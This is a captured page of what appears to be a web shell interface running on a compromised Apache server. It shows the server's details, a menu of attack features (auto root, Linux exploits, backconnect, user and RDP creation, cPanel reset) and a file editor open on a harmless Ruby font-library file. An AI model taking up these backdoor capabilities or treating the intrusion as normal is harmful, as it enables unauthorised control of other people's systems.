Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.228
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
ttfunk /
table /
[ HOME SHELL ]
Name
Size
Permission
Action
cmap
[ DIR ]
drwxr-xr-x
glyf
[ DIR ]
drwxr-xr-x
kern
[ DIR ]
drwxr-xr-x
post
[ DIR ]
drwxr-xr-x
cmap.rb
951
B
-rw-r--r--
glyf.rb
1.91
KB
-rw-r--r--
head.rb
1.21
KB
-rw-r--r--
hhea.rb
1.08
KB
-rw-r--r--
hmtx.rb
1.31
KB
-rw-r--r--
kern.rb
2.59
KB
-rw-r--r--
loca.rb
1.17
KB
-rw-r--r--
maxp.rb
1.17
KB
-rw-r--r--
name.rb
3.67
KB
-rw-r--r--
os2.rb
2.17
KB
-rw-r--r--
post.rb
2.23
KB
-rw-r--r--
sbix.rb
1.76
KB
-rw-r--r--
simple.rb
205
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : glyf.rb
require_relative '../table' module TTFunk class Table class Glyf < Table # Accepts a hash mapping (old) glyph-ids to glyph objects, and a hash # mapping old glyph-ids to new glyph-ids. # # Returns a hash containing: # # * :table - a string representing the encoded 'glyf' table containing # the given glyphs. # * :offsets - an array of offsets for each glyph def self.encode(glyphs, new2old, old2new) result = { table: '', offsets: [] } new2old.keys.sort.each do |new_id| glyph = glyphs[new2old[new_id]] result[:offsets] << result[:table].length result[:table] << glyph.recode(old2new) if glyph end # include an offset at the end of the table, for use in computing the # size of the last glyph result[:offsets] << result[:table].length result end def for(glyph_id) return @cache[glyph_id] if @cache.key?(glyph_id) index = file.glyph_locations.index_of(glyph_id) size = file.glyph_locations.size_of(glyph_id) if size == 0 # blank glyph, e.g. space character @cache[glyph_id] = nil return nil end parse_from(offset + index) do raw = io.read(size) number_of_contours, x_min, y_min, x_max, y_max = raw.unpack('n5').map { |i| to_signed(i) } @cache[glyph_id] = if number_of_contours == -1 Compound.new(raw, x_min, y_min, x_max, y_max) else Simple.new(raw, number_of_contours, x_min, y_min, x_max, y_max) end end end private def parse! # because the glyf table is rather complex to parse, we defer # the parse until we need a specific glyf, and then cache it. @cache = {} end end end end require_relative 'glyf/compound' require_relative 'glyf/simple'
Close